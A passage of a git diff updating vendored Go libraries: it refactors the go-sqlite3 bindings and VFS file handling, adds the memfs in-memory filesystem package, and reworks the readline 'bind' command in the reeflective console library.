util.WriteString(a.m.mod, ptr, s) + util.WriteString(a.sqlt.mod, ptr, s) return ptr } @@ -317,10 +334,10 @@ type sqliteAPI struct { step api.Function exec api.Function clearBindings api.Function - bindNull api.Function bindCount api.Function bindIndex api.Function bindName api.Function + bindNull api.Function bindInteger api.Function bindFloat api.Function bindText api.Function @@ -348,5 +365,30 @@ type sqliteAPI struct { changes api.Function lastRowid api.Function autocommit api.Function + anyCollation api.Function + createCollation api.Function + createFunction api.Function + createAggregate api.Function + createWindow api.Function + aggregateCtx api.Function + userData api.Function + setAuxData api.Function + getAuxData api.Function + valueType api.Function + valueInteger api.Function + valueFloat api.Function + valueText api.Function + valueBlob api.Function + valueBytes api.Function + resultNull api.Function + resultInteger api.Function + resultFloat api.Function + resultText api.Function + resultBlob api.Function + resultZeroBlob api.Function + resultError api.Function + resultErrorCode api.Function + resultErrorMem api.Function + resultErrorBig api.Function destructor uint32 } diff --git a/vendor/github.com/ncruces/go-sqlite3/stmt.go b/vendor/github.com/ncruces/go-sqlite3/stmt.go index 2fae0b40fb..c26de44cc2 100644 --- a/vendor/github.com/ncruces/go-sqlite3/stmt.go +++ b/vendor/github.com/ncruces/go-sqlite3/stmt.go @@ -131,10 +131,11 @@ func (s *Stmt) BindName(param int) string { // // https://www.sqlite.org/c3ref/bind_blob.html func (s *Stmt) BindBool(param int, value bool) error { + var i int64 if value { - return s.BindInt64(param, 1) + i = 1 } - return s.BindInt64(param, 0) + return s.BindInt64(param, i) } // BindInt binds an int to the prepared statement. @@ -374,18 +375,7 @@ func (s *Stmt) ColumnBlob(col int, buf []byte) []byte { func (s *Stmt) ColumnRawText(col int) []byte { r := s.c.call(s.c.api.columnText, uint64(s.handle), uint64(col)) - - ptr := uint32(r) - if ptr == 0 { - r = s.c.call(s.c.api.errcode, uint64(s.c.handle)) - s.err = s.c.error(r) - return nil - } - - r = s.c.call(s.c.api.columnBytes, - uint64(s.handle), uint64(col)) - - return util.View(s.c.mod, ptr, r) + return s.columnRawBytes(col, uint32(r)) } // ColumnRawBlob returns the value of the result column as a []byte. @@ -397,17 +387,18 @@ func (s *Stmt) ColumnRawText(col int) []byte { func (s *Stmt) ColumnRawBlob(col int) []byte { r := s.c.call(s.c.api.columnBlob, uint64(s.handle), uint64(col)) + return s.columnRawBytes(col, uint32(r)) +} - ptr := uint32(r) +func (s *Stmt) columnRawBytes(col int, ptr uint32) []byte { if ptr == 0 { - r = s.c.call(s.c.api.errcode, uint64(s.c.handle)) + r := s.c.call(s.c.api.errcode, uint64(s.c.handle)) s.err = s.c.error(r) return nil } - r = s.c.call(s.c.api.columnBytes, + r := s.c.call(s.c.api.columnBytes, uint64(s.handle), uint64(col)) - return util.View(s.c.mod, ptr, r) } diff --git a/vendor/github.com/ncruces/go-sqlite3/value.go b/vendor/github.com/ncruces/go-sqlite3/value.go new file mode 100644 index 0000000000..aed10561e5 --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/value.go @@ -0,0 +1,125 @@ +package sqlite3 + +import ( + "math" + "time" + + "github.com/ncruces/go-sqlite3/internal/util" +) + +// Value is any value that can be stored in a database table. +// +// https://www.sqlite.org/c3ref/value.html +type Value struct { + *sqlite + handle uint32 +} + +// Type returns the initial [Datatype] of the value. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) Type() Datatype { + r := v.call(v.api.valueType, uint64(v.handle)) + return Datatype(r) +} + +// Bool returns the value as a bool. +// SQLite does not have a separate boolean storage class. +// Instead, boolean values are retrieved as integers, +// with 0 converted to false and any other value to true. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) Bool() bool { + if i := v.Int64(); i != 0 { + return true + } + return false +} + +// Int returns the value as an int. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) Int() int { + return int(v.Int64()) +} + +// Int64 returns the value as an int64. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) Int64() int64 { + r := v.call(v.api.valueInteger, uint64(v.handle)) + return int64(r) +} + +// Float returns the value as a float64. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) Float() float64 { + r := v.call(v.api.valueFloat, uint64(v.handle)) + return math.Float64frombits(r) +} + +// Time returns the value as a [time.Time]. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) Time(format TimeFormat) time.Time { + var a any + switch v.Type() { + case INTEGER: + a = v.Int64() + case FLOAT: + a = v.Float() + case TEXT, BLOB: + a = v.Text() + case NULL: + return time.Time{} + default: + panic(util.AssertErr()) + } + t, _ := format.Decode(a) + return t +} + +// Text returns the value as a string. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) Text() string { + return string(v.RawText()) +} + +// Blob appends to buf and returns +// the value as a []byte. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) Blob(buf []byte) []byte { + return append(buf, v.RawBlob()...) +} + +// RawText returns the value as a []byte. +// The []byte is owned by SQLite and may be invalidated by +// subsequent calls to [Value] methods. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) RawText() []byte { + r := v.call(v.api.valueText, uint64(v.handle)) + return v.rawBytes(uint32(r)) +} + +// RawBlob returns the value as a []byte. +// The []byte is owned by SQLite and may be invalidated by +// subsequent calls to [Value] methods. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) RawBlob() []byte { + r := v.call(v.api.valueBlob, uint64(v.handle)) + return v.rawBytes(uint32(r)) +} + +func (v Value) rawBytes(ptr uint32) []byte { + if ptr == 0 { + return nil + } + + r := v.call(v.api.valueBytes, uint64(v.handle)) + return util.View(v.mod, ptr, r) +} diff --git a/vendor/github.com/ncruces/go-sqlite3/vfs/api.go b/vendor/github.com/ncruces/go-sqlite3/vfs/api.go index 7425096241..158f1731d2 100644 --- a/vendor/github.com/ncruces/go-sqlite3/vfs/api.go +++ b/vendor/github.com/ncruces/go-sqlite3/vfs/api.go @@ -15,7 +15,7 @@ type VFS interface { FullPathname(name string) (string, error) } -// VFSParams extends VFS to with the ability to handle URI parameters +// VFSParams extends VFS with the ability to handle URI parameters // through the OpenParams method. // // https://www.sqlite.org/c3ref/uri_boolean.html diff --git a/vendor/github.com/ncruces/go-sqlite3/vfs/clear.go b/vendor/github.com/ncruces/go-sqlite3/vfs/clear.go new file mode 100644 index 0000000000..035458e687 --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/vfs/clear.go @@ -0,0 +1,9 @@ +//go:build !go1.21 + +package vfs + +func clear(b []byte) { + for i := range b { + b[i] = 0 + } +} diff --git a/vendor/github.com/ncruces/go-sqlite3/vfs/vfs.go b/vendor/github.com/ncruces/go-sqlite3/vfs/vfs.go index e50bacffc8..3114705b7b 100644 --- a/vendor/github.com/ncruces/go-sqlite3/vfs/vfs.go +++ b/vendor/github.com/ncruces/go-sqlite3/vfs/vfs.go @@ -44,33 +44,6 @@ func ExportHostFunctions(env wazero.HostModuleBuilder) wazero.HostModuleBuilder return env } -type vfsKey struct{} -type vfsState struct { - files []File -} - -// NewContext is an internal API users need not call directly. -// -// NewContext creates a new context to hold [api.Module] specific VFS data. -// The context should be passed to any [api.Function] calls that might -// generate VFS host callbacks. -// The returned [io.Closer] should be closed after the [api.Module] is closed, -// to release any associated resources. -func NewContext(ctx context.Context) (context.Context, io.Closer) { - vfs := new(vfsState) - return context.WithValue(ctx, vfsKey{}, vfs), vfs -} - -func (vfs *vfsState) Close() error { - for _, f := range vfs.files { - if f != nil { - f.Close() - } - } - vfs.files = nil - return nil -} - func vfsFind(ctx context.Context, mod api.Module, zVfsName uint32) uint32 { name := util.ReadString(mod, zVfsName, _MAX_STRING) if vfs := Find(name); vfs != nil && vfs != (vfsOS{}) { @@ -183,6 +156,10 @@ func vfsOpen(ctx context.Context, mod api.Module, pVfs, zPath, pFile uint32, fla file, flags, err = vfs.Open(path, flags) } + if err != nil { + return vfsErrorCode(err, _CANTOPEN) + } + if file, ok := file.(FilePowersafeOverwrite); ok { if !parsed { params = vfsURIParameters(ctx, mod, zPath, flags) @@ -192,14 +169,10 @@ func vfsOpen(ctx context.Context, mod api.Module, pVfs, zPath, pFile uint32, fla } } - if err != nil { - return vfsErrorCode(err, _CANTOPEN) - } - - vfsFileRegister(ctx, mod, pFile, file) if pOutFlags != 0 { util.WriteUint32(mod, pOutFlags, uint32(flags)) } + vfsFileRegister(ctx, mod, pFile, file) return _OK } @@ -431,40 +404,22 @@ func vfsGet(mod api.Module, pVfs uint32) VFS { panic(util.NoVFSErr + util.ErrorString(name)) } -func vfsFileNew(vfs *vfsState, file File) uint32 { - // Find an empty slot. - for id, f := range vfs.files { - if f == nil { - vfs.files[id] = file - return uint32(id) - } - } - - // Add a new slot. - vfs.files = append(vfs.files, file) - return uint32(len(vfs.files) - 1) -} - func vfsFileRegister(ctx context.Context, mod api.Module, pFile uint32, file File) { const fileHandleOffset = 4 - id := vfsFileNew(ctx.Value(vfsKey{}).(*vfsState), file) + id := util.AddHandle(ctx, file) util.WriteUint32(mod, pFile+fileHandleOffset, id) } func vfsFileGet(ctx context.Context, mod api.Module, pFile uint32) File { const fileHandleOffset = 4 - vfs := ctx.Value(vfsKey{}).(*vfsState) id := util.ReadUint32(mod, pFile+fileHandleOffset) - return vfs.files[id] + return util.GetHandle(ctx, id).(File) } func vfsFileClose(ctx context.Context, mod api.Module, pFile uint32) error { const fileHandleOffset = 4 - vfs := ctx.Value(vfsKey{}).(*vfsState) id := util.ReadUint32(mod, pFile+fileHandleOffset) - file := vfs.files[id] - vfs.files[id] = nil - return file.Close() + return util.DelHandle(ctx, id) } func vfsErrorCode(err error, def _ErrorCode) _ErrorCode { @@ -477,9 +432,3 @@ func vfsErrorCode(err error, def _ErrorCode) _ErrorCode { } return def } - -func clear(b []byte) { - for i := range b { - b[i] = 0 - } -} diff --git a/vendor/github.com/psanford/memfs/LICENSE b/vendor/github.com/psanford/memfs/LICENSE new file mode 100644 index 0000000000..fbf711fd73 --- /dev/null +++ b/vendor/github.com/psanford/memfs/LICENSE @@ -0,0 +1,27 @@ +Copyright (c) 2021 The memfs Authors. All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + + * Redistributions of source code must retain the above copyright +notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above +copyright notice, this list of conditions and the following disclaimer +in the documentation and/or other materials provided with the +distribution. + * Neither the name of Google Inc. nor the names of its +contributors may be used to endorse or promote products derived from +this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/github.com/psanford/memfs/Readme.md b/vendor/github.com/psanford/memfs/Readme.md new file mode 100644 index 0000000000..ae85f8754f --- /dev/null +++ b/vendor/github.com/psanford/memfs/Readme.md @@ -0,0 +1,50 @@ +# memfs: A simple in-memory io/fs.FS filesystem + +memfs is an in-memory implementation of Go's io/fs.FS interface. +The goal is to make it easy and quick to build an fs.FS filesystem +when you don't have any complex requirements. + +Documentation: https://pkg.go.dev/github.com/psanford/memfs + +`io/fs` docs: https://tip.golang.org/pkg/io/fs/ + +## Usage + +``` +package main + +import ( + "fmt" + "io/fs" + + "github.com/psanford/memfs" +) + +func main() { + rootFS := memfs.New() + + err := rootFS.MkdirAll("dir1/dir2", 0777) + if err != nil { + panic(err) + } + + err = rootFS.WriteFile("dir1/dir2/f1.txt", []byte("incinerating-unsubstantial"), 0755) + if err != nil { + panic(err) + } + + err = fs.WalkDir(rootFS, ".", func(path string, d fs.DirEntry, err error) error { + fmt.Println(path) + return nil + }) + if err != nil { + panic(err) + } + + content, err := fs.ReadFile(rootFS, "dir1/dir2/f1.txt") + if err != nil { + panic(err) + } + fmt.Printf("%s\n", content) +} +``` diff --git a/vendor/github.com/psanford/memfs/memfs.go b/vendor/github.com/psanford/memfs/memfs.go new file mode 100644 index 0000000000..311ca6bd6d --- /dev/null +++ b/vendor/github.com/psanford/memfs/memfs.go @@ -0,0 +1,427 @@ +package memfs + +import ( + "bytes" + "errors" + "fmt" + "io/fs" + "os" + syspath "path" + "strings" + "sync" + "time" +) + +// FS is an in-memory filesystem that implements +// io/fs.FS +type FS struct { + dir *dir +} + +// New creates a new in-memory FileSystem. +func New() *FS { + return &FS{ + dir: &dir{ + children: make(map[string]childI), + }, + } +} + +// MkdirAll creates a directory named path, +// along with any necessary parents, and returns nil, +// or else returns an error. +// The permission bits perm (before umask) are used for all +// directories that MkdirAll creates. +// If path is already a directory, MkdirAll does nothing +// and returns nil. +func (rootFS *FS) MkdirAll(path string, perm os.FileMode) error { + if !fs.ValidPath(path) { + return fmt.Errorf("invalid path: %s: %w", path, fs.ErrInvalid) + } + + if path == "." { + // root dir always exists + return nil + } + + parts := strings.Split(path, "/") + + next := rootFS.dir + for _, part := range parts { + cur := next + cur.mu.Lock() + child := cur.children[part] + if child == nil { + newDir := &dir{ + name: part, + perm: perm, + children: make(map[string]childI), + } + cur.children[part] = newDir + next = newDir + } else { + childDir, ok := child.(*dir) + if !ok { + return fmt.Errorf("not a directory: %s: %w", part, fs.ErrInvalid) + } + next = childDir + } + cur.mu.Unlock() + } + + return nil +} + +func (rootFS *FS) getDir(path string) (*dir, error) { + if path == "" { + return rootFS.dir, nil + } + parts := strings.Split(path, "/") + + cur := rootFS.dir + for _, part := range parts { + err := func() error { + cur.mu.Lock() + defer cur.mu.Unlock() + child := cur.children[part] + if child == nil { + return fmt.Errorf("not a directory: %s: %w", part, fs.ErrNotExist) + } else { + childDir, ok := child.(*dir) + if !ok { + return fmt.Errorf("no such file or directory: %s: %w", part, fs.ErrNotExist) + } + cur = childDir + } + return nil + }() + if err != nil { + return nil, err + } + } + + return cur, nil +} + +func (rootFS *FS) get(path string) (childI, error) { + if path == "" { + return rootFS.dir, nil + } + + parts := strings.Split(path, "/") + + var ( + cur = rootFS.dir + + chld childI + err error + ) + for i, part := range parts { + chld, err = func() (childI, error) { + cur.mu.Lock() + defer cur.mu.Unlock() + child := cur.children[part] + if child == nil { + return nil, fmt.Errorf("not a directory: %s: %w", part, fs.ErrNotExist) + } else { + _, isFile := child.(*File) + if isFile { + if i == len(parts)-1 { + return child, nil + } else { + return nil, fmt.Errorf("no such file or directory: %s: %w", part, fs.ErrNotExist) + } + } + + childDir, ok := child.(*dir) + if !ok { + return nil, errors.New("not a directory") + } + cur = childDir + } + return child, nil + }() + if err != nil { + return nil, err + } + } + + return chld, nil +} + +func (rootFS *FS) create(path string) (*File, error) { + if !fs.ValidPath(path) { + return nil, fmt.Errorf("invalid path: %s: %w", path, fs.ErrInvalid) + } + + if path == "." { + // root dir + path = "" + } + + dirPart, filePart := syspath.Split(path) + + dirPart = strings.TrimSuffix(dirPart, "/") + dir, err := rootFS.getDir(dirPart) + if err != nil { + return nil, err + } + + dir.mu.Lock() + defer dir.mu.Unlock() + existing := dir.children[filePart] + if existing != nil { + _, ok := existing.(*File) + if !ok { + return nil, fmt.Errorf("path is a directory: %s: %w", path, fs.ErrExist) + } + } + + newFile := &File{ + name: filePart, + perm: 0666, + content: &bytes.Buffer{}, + } + dir.children[filePart] = newFile + + return newFile, nil +} + +// WriteFile writes data to a file named by filename. +// If the file does not exist, WriteFile creates it with permissions perm +// (before umask); otherwise WriteFile truncates it before writing, without changing permissions. +func (rootFS *FS) WriteFile(path string, data []byte, perm os.FileMode) error { + if !fs.ValidPath(path) { + return fmt.Errorf("invalid path: %s: %w", path, fs.ErrInvalid) + } + + if path == "." { + // root dir + path = "" + } + + f, err := rootFS.create(path) + if err != nil { + return err + } + f.content = bytes.NewBuffer(data) + f.perm = perm + return nil +} + +// Open opens the named file. +func (rootFS *FS) Open(name string) (fs.File, error) { + if !fs.ValidPath(name) { + return nil, &fs.PathError{ + Op: "open", + Path: name, + Err: fs.ErrInvalid, + } + } + + if name == "." { + // root dir + name = "" + } + + child, err := rootFS.get(name) + if err != nil { + return nil, err + } + + switch cc := child.(type) { + case *File: + handle := &File{ + name: cc.name, + perm: cc.perm, + content: bytes.NewBuffer(cc.content.Bytes()), + } + return handle, nil + case *dir: + handle := &fhDir{ + dir: cc, + } + return handle, nil + } + + return nil, fmt.Errorf("unexpected file type in fs: %s: %w", name, fs.ErrInvalid) +} + +// Sub returns an FS corresponding to the subtree rooted at path. +func (rootFS *FS) Sub(path string) (fs.FS, error) { + dir, err := rootFS.getDir(path) + if err != nil { + return nil, err + } + return &FS{dir: dir}, nil +} + +type dir struct { + mu sync.Mutex + name string + perm os.FileMode + modTime time.Time + children map[string]childI +} + +type fhDir struct { + dir *dir + idx int +} + +func (d *fhDir) Stat() (fs.FileInfo, error) { + fi := fileInfo{ + name: d.dir.name, + size: 4096, + modTime: d.dir.modTime, + mode: d.dir.perm | fs.ModeDir, + } + return &fi, nil +} + +func (d *fhDir) Read(b []byte) (int, error) { + return 0, errors.New("is a directory") +} + +func (d *fhDir) Close() error { + return nil +} + +func (d *fhDir) ReadDir(n int) ([]fs.DirEntry, error) { + d.dir.mu.Lock() + defer d.dir.mu.Unlock() + + names := make([]string, 0, len(d.dir.children)) + for name := range d.dir.children { + names = append(names, name) + } + + if n <= 0 { + n = len(names) + } + + out := make([]fs.DirEntry, 0, n) + + for i := d.idx; i < n && i < len(names); i++ { + name := names[i] + child := d.dir.children[name] + + f, isFile := child.(*File) + if isFile { + stat, _ := f.Stat() + out = append(out, &dirEntry{ + info: stat, + }) + } else { + d := child.(*dir) + fi := fileInfo{ + name: d.name, + size: 4096, + modTime: d.modTime, + mode: d.perm | fs.ModeDir, + } + out = append(out, &dirEntry{ + info: &fi, + }) + } + + d.idx = i + } + return out, nil +} + +type File struct { + name string + perm os.FileMode + content *bytes.Buffer + modTime time.Time + closed bool +} + +func (f *File) Stat() (fs.FileInfo, error) { + if f.closed { + return nil, fs.ErrClosed + } + fi := fileInfo{ + name: f.name, + size: int64(f.content.Len()), + modTime: f.modTime, + mode: f.perm, + } + return &fi, nil +} + +func (f *File) Read(b []byte) (int, error) { + if f.closed { + return 0, fs.ErrClosed + } + return f.content.Read(b) +} + +func (f *File) Close() error { + if f.closed { + return fs.ErrClosed + } + f.closed = true + return nil +} + +type childI interface { +} + +type fileInfo struct { + name string + size int64 + modTime time.Time + mode fs.FileMode +} + +// base name of the file +func (fi *fileInfo) Name() string { + return fi.name +} + +// length in bytes for regular files; system-dependent for others +func (fi *fileInfo) Size() int64 { + return fi.size +} + +// file mode bits +func (fi *fileInfo) Mode() fs.FileMode { + return fi.mode +} + +// modification time +func (fi *fileInfo) ModTime() time.Time { + return fi.modTime +} + +// abbreviation for Mode().IsDir() +func (fi *fileInfo) IsDir() bool { + return fi.mode&fs.ModeDir > 0 +} + +// underlying data source (can return nil) +func (fi *fileInfo) Sys() interface{} { + return nil +} + +type dirEntry struct { + info fs.FileInfo +} + +func (de *dirEntry) Name() string { + return de.info.Name() +} + +func (de *dirEntry) IsDir() bool { + return de.info.IsDir() +} + +func (de *dirEntry) Type() fs.FileMode { + return de.info.Mode() +} + +func (de *dirEntry) Info() (fs.FileInfo, error) { + return de.info, nil +} diff --git a/vendor/github.com/reeflective/console/README.md b/vendor/github.com/reeflective/console/README.md index 0d6dc7fb22..e555fd4b49 100644 --- a/vendor/github.com/reeflective/console/README.md +++ b/vendor/github.com/reeflective/console/README.md @@ -90,7 +90,7 @@ is also available in the [wiki](https://github.com/reeflective/console/wiki): ![console](https://github.com/reeflective/console/blob/assets/console.gif) -## Status +## Status The library is in a pre-release candidate status: - Although quite simple and small, it has not been tested heavily. @@ -100,3 +100,13 @@ The library is in a pre-release candidate status: Please open a PR or an issue if you wish to bring enhancements to it. Other contributions, as well as bug fixes and reviews are also welcome. + +## Possible Improvements + +The following is a currently moving list of possible enhancements to be made in order to reach `v1.0`: +- [ ] Ensure to the best extent possible a thread-safe access to the command API. +- [ ] Clearer integration/alignment of the various I/O references between readline and commands. +- [ ] Clearer and sane model for asynchronous control/cancel of commands. +- [ ] Allow users to run the console command trees in one-exec style, with identical behavior. +- [ ] Test suite for most important or risky code paths. +- [ ] Set of helper functions for application-related directories. diff --git a/vendor/github.com/reeflective/console/command.go b/vendor/github.com/reeflective/console/command.go index 2e019480ef..d3858cd3e9 100644 --- a/vendor/github.com/reeflective/console/command.go +++ b/vendor/github.com/reeflective/console/command.go @@ -1,8 +1,6 @@ package console import ( - "strings" - "github.com/spf13/cobra" ) @@ -75,38 +73,3 @@ next: c.filters = updated } - -func (c *Console) isFiltered(cmd *cobra.Command) bool { - if cmd.Annotations == nil { - return false - } - - // Get the filters on the command - filterStr := cmd.Annotations[CommandFilterKey] - filters := strings.Split(filterStr, ",") - - for _, cmdFilter := range filters { - for _, filter := range c.filters { - if cmdFilter != "" && cmdFilter == filter { - return true - } - } - } - - return false -} - -// hide commands that are filtered so that they are not -// shown in the help strings or proposed as completions. -func (c *Console) hideFilteredCommands() { - for _, cmd := range c.activeMenu().Commands() { - // Don't override commands if they are already hidden - if cmd.Hidden { - continue - } - - if c.isFiltered(cmd) { - cmd.Hidden = true - } - } -} diff --git a/vendor/github.com/reeflective/console/commands/readline/bind.go b/vendor/github.com/reeflective/console/commands/readline/bind.go index 2099658aef..2af32deb5f 100644 --- a/vendor/github.com/reeflective/console/commands/readline/bind.go +++ b/vendor/github.com/reeflective/console/commands/readline/bind.go @@ -4,13 +4,13 @@ import ( "errors" "fmt" "os" - "sort" "strings" - "github.com/reeflective/readline" - "github.com/reeflective/readline/inputrc" "github.com/rsteube/carapace" "github.com/spf13/cobra" + + "github.com/reeflective/readline" + "github.com/reeflective/readline/inputrc" ) // Bind returns a command named `bind`, for manipulating readline keymaps and bindings. @@ -20,15 +20,25 @@ func Bind(shell *readline.Shell) *cobra.Command { Short: "Display or modify readline key bindings", Long: `Manipulate readline keymaps and bindings. -Basic binding examples: - bind "\C-x\C-r": re-read-init-file // C-x C-r to reload the inputrc file, in the default keymap. - bind -m vi-insert "\C-l" clear-screen // C-l to clear-screen in vi-insert mode - bind -m menu-complete '\C-n' menu-complete // C-n to cycle through choices in the completion keymap. - +Changing binds: Note that the keymap name is optional, and if omitted, the default keymap is used. The default keymap is 'vi' only if 'set editing-mode vi' is found in inputrc , and unless the -m option is used to set a different keymap. -Also, note that the bind [seq] [command] slightly differs from the original bash 'bind' command.`, +Also, note that the bind [seq] [command] slightly differs from the original bash 'bind' command. + +Exporting binds: +- Since all applications always look up to the same file for a given user, + the export command does not allow to write and modify this file itself. +- Also, since saving the entire list of options and bindings in a different + file for each application would also defeat the purpose of .inputrc.`, + Example: `Changing binds: + bind "\C-x\C-r": re-read-init-file # C-x C-r to reload the inputrc file, in the default keymap. + bind -m vi-insert "\C-l" clear-screen # C-l to clear-screen in vi-insert mode + bind -m menu-complete '\C-n' menu-complete # C-n to cycle through choices in the completion keymap. + +Exporting binds: + bind --binds-rc --lib --changed # Only changed options/binds to stdout applying to all apps using this lib + bind --app OtherApp -c # Changed options, applying to an app other than our current shell one`, } // Flags @@ -44,8 +54,27 @@ Also, note that the bind [seq] [command] slightly differs from the original bash cmd.Flags().StringP("unbind", "u", "", "Unbind all keys which are bound to the named function") cmd.Flags().StringP("remove", "r", "", "Remove the bindings for KEYSEQ") cmd.Flags().StringP("file", "f", "", "Read key bindings from FILENAME") - // cmd.Flags().StringP("execute", "x", "", "Cause SHELL-COMMAND to be executed whenever KEYSEQ is entered") - // cmd.Flags().BoolP("execute-rc", "X", false, "List key sequences bound with -x and associated commands in a form that can be reused as input") + cmd.Flags().StringP("app", "A", "", "Optional application name (if empty/not used, the current app)") + cmd.Flags().BoolP("changed", "c", false, "Only export options modified since app start: maybe not needed, since no use for it") + cmd.Flags().BoolP("lib", "L", false, "Like 'app', but export options/binds for all apps using this specific library") + cmd.Flags().BoolP("self-insert", "I", false, "If exporting bind sequences, also include the sequences mapped to self-insert") + + // Completions + comps := carapace.Gen(cmd) + flagComps := make(carapace.ActionMap) + + flagComps["keymap"] = completeKeymaps(shell, cmd) + flagComps["query"] = completeCommands(shell, cmd) + flagComps["unbind"] = completeCommands(shell, cmd) + flagComps["remove"] = completeBindSequences(shell, cmd) + flagComps["file"] = carapace.ActionFiles() + + comps.FlagCompletion(flagComps) + + comps.PositionalCompletion( + carapace.ActionValues().Usage("key sequence"), + completeCommands(shell, cmd), + ) // Run implementation cmd.RunE = func(cmd *cobra.Command, args []string) error { @@ -55,358 +84,222 @@ Also, note that the bind [seq] [command] slightly differs from the original bash keymap = string(shell.Keymap.Main()) } - // Listing actions - switch { - // Function names - case cmd.Flags().Changed("list"): - for name := range shell.Keymap.Commands() { - fmt.Println(name) - } + var name string + var reeflective = "reeflective" + var buf = &cfgBuilder{buf: &strings.Builder{}} - // Sequences to function names - case cmd.Flags().Changed("binds"): - shell.Keymap.PrintBinds(keymap, false) - return nil + // First prepare the branching strings for any + // needed conditionals (App, Lib, keymap, etc) + changed := cmd.Flags().Changed("changed") + rm := cmd.Flags().Changed("remove") + unbind := cmd.Flags().Changed("unbind") + app := cmd.Flags().Changed("app") + lib := cmd.Flags().Changed("lib") - case cmd.Flags().Changed("binds-rc"): - shell.Keymap.PrintBinds(keymap, true) - return nil + // 1 - SIMPLE QUERIES ------------------------------------------------ - // Macros - case cmd.Flags().Changed("macros"): - binds := shell.Config.Binds[keymap] - if len(binds) == 0 { - return nil - } - var macroBinds []string + // All flags and args that are "exiting the command + // after run" are listed and evaluated first. - for keys, bind := range binds { - if bind.Macro { - macroBinds = append(macroBinds, inputrc.Escape(keys)) - } + // Function names + if cmd.Flags().Changed("list") { + for name := range shell.Keymap.Commands() { + fmt.Println(name) } - sort.Strings(macroBinds) - - for _, key := range macroBinds { - action := inputrc.Escape(binds[inputrc.Unescape(key)].Action) - fmt.Printf("%s outputs %s\n", key, action) - } + return nil + } + // 2 - Query binds for function + if cmd.Flags().Changed("query") { + listBinds(shell, buf, cmd, keymap) + fmt.Fprint(cmd.OutOrStdout(), buf.buf.String()) return nil + } - case cmd.Flags().Changed("macros-rc"): - binds := shell.Config.Binds[keymap] - if len(binds) == 0 { - return nil + // From this point on, some flags don't exit after printing + // their respective listings, since we can combine and output + // various types of stuff at once, for configs or display. + // + // We can even read a file for binds, remove some of them, + // and display all or specific sections of our config in + // a single call, with multiple flags of all sorts. + + // 1 - Apply any changes we want from a file first. + if cmd.Flags().Changed("file") { + if err := readFileConfig(shell, cmd, keymap); err != nil { + return err } - var macroBinds []string + } - for keys, bind := range binds { - if bind.Macro { - macroBinds = append(macroBinds, inputrc.Escape(keys)) - } - } + // Remove anything we might have been asked to. + if unbind { + unbindKeys(shell, cmd, keymap) + } - sort.Strings(macroBinds) + if rm { + removeCommands(shell, cmd, keymap) + } - for _, key := range macroBinds { - action := inputrc.Escape(binds[inputrc.Unescape(key)].Action) - fmt.Printf("\"%s\": \"%s\"\n", key, action) - } + // 2 - COMPLEX QUERIES ------------------------------------------------ - return nil + // Write App/Lib headers for + if app { + fmt.Fprintf(buf, "# %s application (generated)\n", name) + buf.newCond(name) + } else if lib { + fmt.Fprintf(buf, "# %s/readline library-specific (generated)\n", reeflective) + buf.newCond(reeflective) + } - // Global readline options - case cmd.Flags().Changed("vars"): - var variables []string + // Global option variables + if cmd.Flags().Changed("vars") { + listVars(shell, buf, cmd) + } else if cmd.Flags().Changed("vars-rc") { + listVarsRC(shell, buf, cmd) + } - for variable := range shell.Config.Vars { - variables = append(variables, variable) - } + // Sequences to function names + if cmd.Flags().Changed("binds") { + listBinds(shell, buf, cmd, keymap) + } else if cmd.Flags().Changed("binds-rc") { + listBindsRC(shell, buf, cmd, keymap) + } - sort.Strings(variables) + // Macros + if cmd.Flags().Changed("macros") { + listMacros(shell, buf, cmd, keymap) + } else if cmd.Flags().Changed("macros-rc") { + listMacrosRC(shell, buf, cmd, keymap) + } - for _, variable := range variables { - value := shell.Config.Vars[variable] - fmt.Printf("%s is set to `%v'\n", variable, value) - } + // Close any App/Lib conditional + buf.endCond() + // The command has performed an action, so any binding + // with positional arguments is not considered or evaluated. + if buf.buf.Len() > 0 { + fmt.Fprintln(cmd.OutOrStdout(), buf.buf.String()) return nil - - case cmd.Flags().Changed("vars-rc"): - var variables []string - - for variable := range shell.Config.Vars { - variables = append(variables, variable) - } - - sort.Strings(variables) - - for _, variable := range variables { - value := shell.Config.Vars[variable] - fmt.Printf("set %s %v\n", variable, value) - } - + } else if app || lib || changed || rm || unbind { return nil + } - // Query binds for function - case cmd.Flags().Changed("query"): - binds := shell.Config.Binds[keymap] - if binds == nil { - return nil - } - - command, _ := cmd.Flags().GetString("query") - - // Make a list of all sequences bound to each command. - cmdBinds := make([]string, 0) - - for key, bind := range binds { - if bind.Action != command { - continue - } - - cmdBinds = append(cmdBinds, inputrc.Escape(key)) - } - - sort.Strings(cmdBinds) - - switch { - case len(cmdBinds) == 0: - case len(cmdBinds) > 5: - var firstBinds 